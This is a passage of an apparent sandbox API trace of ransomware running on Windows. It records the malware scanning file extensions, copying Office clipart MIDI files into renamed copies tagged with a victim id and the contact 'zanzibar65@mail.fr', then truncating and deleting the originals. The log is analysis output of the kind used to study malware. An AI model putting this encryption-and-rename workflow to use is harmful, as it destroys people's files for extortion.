[0271.806] lstrlenW (lpString=".pdf") returned 4 [0271.806] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0271.806] lstrlenW (lpString=".xls") returned 4 [0271.807] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0271.807] lstrlenW (lpString=".xlsx") returned 5 [0271.807] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1 [0271.807] lstrlenW (lpString=".ppt") returned 4 [0271.807] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0271.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0271.807] lstrlenW (lpString=".zip") returned 4 [0271.807] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0271.807] lstrlenW (lpString=".rar") returned 4 [0271.807] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0271.807] lstrlenW (lpString=".bz2") returned 4 [0271.807] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0271.807] lstrlenW (lpString=".7z") returned 3 [0271.807] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0271.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0271.807] lstrlenW (lpString=".dbf") returned 4 [0271.807] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0271.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0271.807] lstrlenW (lpString=".1cd") returned 4 [0271.807] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0271.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0271.807] lstrlenW (lpString=".jpg") returned 4 [0271.807] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0271.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0271.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0271.807] lstrlenW (lpString=".doc") returned 4 [0271.807] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0271.807] lstrlenW (lpString=".docx") returned 5 [0271.807] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1 [0271.808] lstrlenW (lpString=".pdf") returned 4 [0271.808] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0271.808] lstrlenW (lpString=".xls") returned 4 [0271.808] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0271.808] lstrlenW (lpString=".xlsx") returned 5 [0271.808] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1 [0271.808] lstrlenW (lpString=".ppt") returned 4 [0271.808] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0271.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0271.808] lstrlenW (lpString=".zip") returned 4 [0271.808] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0271.808] lstrlenW (lpString=".rar") returned 4 [0271.808] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0271.808] lstrlenW (lpString=".bz2") returned 4 [0271.808] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0271.808] lstrlenW (lpString=".7z") returned 3 [0271.808] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0271.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0271.808] lstrlenW (lpString=".dbf") returned 4 [0271.808] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0271.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0271.808] lstrlenW (lpString=".1cd") returned 4 [0271.808] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0271.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0271.808] lstrlenW (lpString=".jpg") returned 4 [0271.808] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0271.808] lstrcmpiW (lpString1=".MID", lpString2=".html") returned 1 [0271.808] lstrlenW (lpString="PARNT_03.MID") returned 12 [0271.808] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_03.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0271.809] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x337ff1c | out: lpFileSize=0x337ff1c*=8538) returned 1 [0271.809] CloseHandle (hObject=0x380) returned 1 [0271.809] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_03.mid")) returned 0x20 [0271.809] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_03.mid.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0271.809] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_03.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0271.809] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.809] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.809] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_03.mid.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0271.892] GetLastError () returned 0x0 [0271.892] ReadFile (in: hFile=0x380, lpBuffer=0x3f60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x337fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f60020*, lpNumberOfBytesRead=0x337fed4*=0x215a, lpOverlapped=0x0) returned 1 [0271.893] WriteFile (in: hFile=0x354, lpBuffer=0x3f60020*, nNumberOfBytesToWrite=0x2160, lpNumberOfBytesWritten=0x337fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f60020*, lpNumberOfBytesWritten=0x337fc9c*=0x2160, lpOverlapped=0x0) returned 1 [0271.894] ReadFile (in: hFile=0x380, lpBuffer=0x3f60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x337fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f60020*, lpNumberOfBytesRead=0x337fed4*=0x0, lpOverlapped=0x0) returned 1 [0271.894] WriteFile (in: hFile=0x354, lpBuffer=0x3f60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x337fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f60020*, lpNumberOfBytesWritten=0x337fc9c*=0xec, lpOverlapped=0x0) returned 1 [0271.894] SetEndOfFile (hFile=0x354) returned 1 [0271.894] CloseHandle (hObject=0x354) returned 1 [0271.895] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.895] SetEndOfFile (hFile=0x380) returned 1 [0271.897] CloseHandle (hObject=0x380) returned 1 [0271.897] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0271.897] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_03.mid")) returned 1 [0271.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0271.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0271.898] lstrlenW (lpString=".doc") returned 4 [0271.898] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0271.898] lstrlenW (lpString=".docx") returned 5 [0271.898] lstrcmpiW (lpString1=".docx", lpString2="3.MID") returned -1 [0271.898] lstrlenW (lpString=".pdf") returned 4 [0271.898] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0271.898] lstrlenW (lpString=".xls") returned 4 [0271.898] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0271.898] lstrlenW (lpString=".xlsx") returned 5 [0271.898] lstrcmpiW (lpString1=".xlsx", lpString2="3.MID") returned -1 [0271.898] lstrlenW (lpString=".ppt") returned 4 [0271.898] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0271.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0271.898] lstrlenW (lpString=".zip") returned 4 [0271.898] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0271.898] lstrlenW (lpString=".rar") returned 4 [0271.898] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0271.898] lstrlenW (lpString=".bz2") returned 4 [0271.898] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0271.898] lstrlenW (lpString=".7z") returned 3 [0271.898] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0271.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0271.898] lstrlenW (lpString=".dbf") returned 4 [0271.899] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0271.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0271.899] lstrlenW (lpString=".1cd") returned 4 [0271.899] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0271.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0271.899] lstrlenW (lpString=".jpg") returned 4 [0271.899] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0271.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0271.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0271.899] lstrlenW (lpString=".doc") returned 4 [0271.899] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0271.899] lstrlenW (lpString=".docx") returned 5 [0271.899] lstrcmpiW (lpString1=".docx", lpString2="3.MID") returned -1 [0271.899] lstrlenW (lpString=".pdf") returned 4 [0271.899] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0271.899] lstrlenW (lpString=".xls") returned 4 [0271.899] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0271.899] lstrlenW (lpString=".xlsx") returned 5 [0271.899] lstrcmpiW (lpString1=".xlsx", lpString2="3.MID") returned -1 [0271.899] lstrlenW (lpString=".ppt") returned 4 [0271.899] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0271.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0271.899] lstrlenW (lpString=".zip") returned 4 [0271.899] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0271.899] lstrlenW (lpString=".rar") returned 4 [0271.899] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0271.899] lstrlenW (lpString=".bz2") returned 4 [0271.899] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0271.899] lstrlenW (lpString=".7z") returned 3 [0271.899] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0271.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0271.899] lstrlenW (lpString=".dbf") returned 4 [0271.900] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0271.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0271.900] lstrlenW (lpString=".1cd") returned 4 [0271.900] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0271.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0271.900] lstrlenW (lpString=".jpg") returned 4 [0271.900] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0271.900] lstrcmpiW (lpString1=".MID", lpString2=".html") returned 1 [0271.900] lstrlenW (lpString="SAFRI_01.MID") returned 12 [0271.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\safri_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0271.902] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x337ff1c | out: lpFileSize=0x337ff1c*=10122) returned 1 [0271.902] CloseHandle (hObject=0x380) returned 1 [0271.902] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\safri_01.mid")) returned 0x20 [0271.902] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\safri_01.mid.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0271.902] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\safri_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0271.902] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.902] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.902] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\safri_01.mid.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0271.903] GetLastError () returned 0x0 [0271.903] ReadFile (in: hFile=0x380, lpBuffer=0x3f60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x337fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f60020*, lpNumberOfBytesRead=0x337fed4*=0x278a, lpOverlapped=0x0) returned 1 [0271.904] WriteFile (in: hFile=0x354, lpBuffer=0x3f60020*, nNumberOfBytesToWrite=0x2790, lpNumberOfBytesWritten=0x337fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f60020*, lpNumberOfBytesWritten=0x337fc9c*=0x2790, lpOverlapped=0x0) returned 1 [0271.905] ReadFile (in: hFile=0x380, lpBuffer=0x3f60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x337fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f60020*, lpNumberOfBytesRead=0x337fed4*=0x0, lpOverlapped=0x0) returned 1 [0271.905] WriteFile (in: hFile=0x354, lpBuffer=0x3f60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x337fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f60020*, lpNumberOfBytesWritten=0x337fc9c*=0xec, lpOverlapped=0x0) returned 1 [0271.905] SetEndOfFile (hFile=0x354) returned 1 [0271.905] CloseHandle (hObject=0x354) returned 1 [0271.905] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.905] SetEndOfFile (hFile=0x380) returned 1 [0271.908] CloseHandle (hObject=0x380) returned 1 [0271.908] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0271.908] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\safri_01.mid")) returned 1 [0271.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0271.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0271.908] lstrlenW (lpString=".doc") returned 4 [0271.908] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0271.908] lstrlenW (lpString=".docx") returned 5 [0271.908] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0271.908] lstrlenW (lpString=".pdf") returned 4 [0271.908] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0271.909] lstrlenW (lpString=".xls") returned 4 [0271.909] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0271.909] lstrlenW (lpString=".xlsx") returned 5 [0271.909] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0271.909] lstrlenW (lpString=".ppt") returned 4 [0271.909] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0271.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0271.909] lstrlenW (lpString=".zip") returned 4 [0271.909] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0271.909] lstrlenW (lpString=".rar") returned 4 [0271.909] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0271.909] lstrlenW (lpString=".bz2") returned 4 [0271.909] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0271.909] lstrlenW (lpString=".7z") returned 3 [0271.909] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0271.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0271.909] lstrlenW (lpString=".dbf") returned 4 [0271.909] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0271.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0271.909] lstrlenW (lpString=".1cd") returned 4 [0271.909] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0271.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0271.909] lstrlenW (lpString=".jpg") returned 4 [0271.909] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0271.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0271.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0271.909] lstrlenW (lpString=".doc") returned 4 [0271.909] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0271.909] lstrlenW (lpString=".docx") returned 5 [0271.909] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0271.909] lstrlenW (lpString=".pdf") returned 4 [0271.909] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0271.910] lstrlenW (lpString=".xls") returned 4 [0271.910] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0271.910] lstrlenW (lpString=".xlsx") returned 5 [0271.910] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0271.910] lstrlenW (lpString=".ppt") returned 4 [0271.910] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0271.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0271.910] lstrlenW (lpString=".zip") returned 4 [0271.910] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0271.910] lstrlenW (lpString=".rar") returned 4 [0271.910] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0271.910] lstrlenW (lpString=".bz2") returned 4 [0271.910] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0272.111] lstrlenW (lpString=".7z") returned 3 [0272.111] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0272.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0272.111] lstrlenW (lpString=".dbf") returned 4 [0272.111] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0272.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0272.111] lstrlenW (lpString=".1cd") returned 4 [0272.111] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0272.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0272.111] lstrlenW (lpString=".jpg") returned 4 [0272.111] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0272.112] lstrcmpiW (lpString1=".MID", lpString2=".html") returned 1 [0272.112] lstrlenW (lpString="SHOW_01.MID") returned 11 [0272.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\show_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0272.128] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x337ff1c | out: lpFileSize=0x337ff1c*=6392) returned 1 [0272.128] CloseHandle (hObject=0x2f8) returned 1 [0272.128] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\show_01.mid")) returned 0x20 [0272.128] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\show_01.mid.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0272.129] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\show_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0272.129] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.129] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.129] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\show_01.mid.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0272.129] GetLastError () returned 0x0 [0272.129] ReadFile (in: hFile=0x2f8, lpBuffer=0x3f60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x337fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f60020*, lpNumberOfBytesRead=0x337fed4*=0x18f8, lpOverlapped=0x0) returned 1 [0272.131] WriteFile (in: hFile=0x37c, lpBuffer=0x3f60020*, nNumberOfBytesToWrite=0x1900, lpNumberOfBytesWritten=0x337fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f60020*, lpNumberOfBytesWritten=0x337fc9c*=0x1900, lpOverlapped=0x0) returned 1 [0272.132] ReadFile (in: hFile=0x2f8, lpBuffer=0x3f60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x337fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f60020*, lpNumberOfBytesRead=0x337fed4*=0x0, lpOverlapped=0x0) returned 1 [0272.132] WriteFile (in: hFile=0x37c, lpBuffer=0x3f60020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x337fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f60020*, lpNumberOfBytesWritten=0x337fc9c*=0xea, lpOverlapped=0x0) returned 1 [0272.132] SetEndOfFile (hFile=0x37c) returned 1 [0272.132] CloseHandle (hObject=0x37c) returned 1 [0272.132] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.132] SetEndOfFile (hFile=0x2f8) returned 1 [0272.134] CloseHandle (hObject=0x2f8) returned 1 [0272.134] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0272.134] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\show_01.mid")) returned 1 [0272.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62 [0272.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62 [0272.134] lstrlenW (lpString=".doc") returned 4 [0272.134] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0272.134] lstrlenW (lpString=".docx") returned 5 [0272.134] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0272.134] lstrlenW (lpString=".pdf") returned 4 [0272.134] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0272.134] lstrlenW (lpString=".xls") returned 4 [0272.134] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0272.134] lstrlenW (lpString=".xlsx") returned 5 [0272.135] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0272.135] lstrlenW (lpString=".ppt") returned 4 [0272.135] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0272.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62 [0272.135] lstrlenW (lpString=".zip") returned 4 [0272.135] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0272.135] lstrlenW (lpString=".rar") returned 4 [0272.135] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0272.135] lstrlenW (lpString=".bz2") returned 4 [0272.135] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0272.135] lstrlenW (lpString=".7z") returned 3 [0272.135] lstrcmpiW (lpString1=".7z", 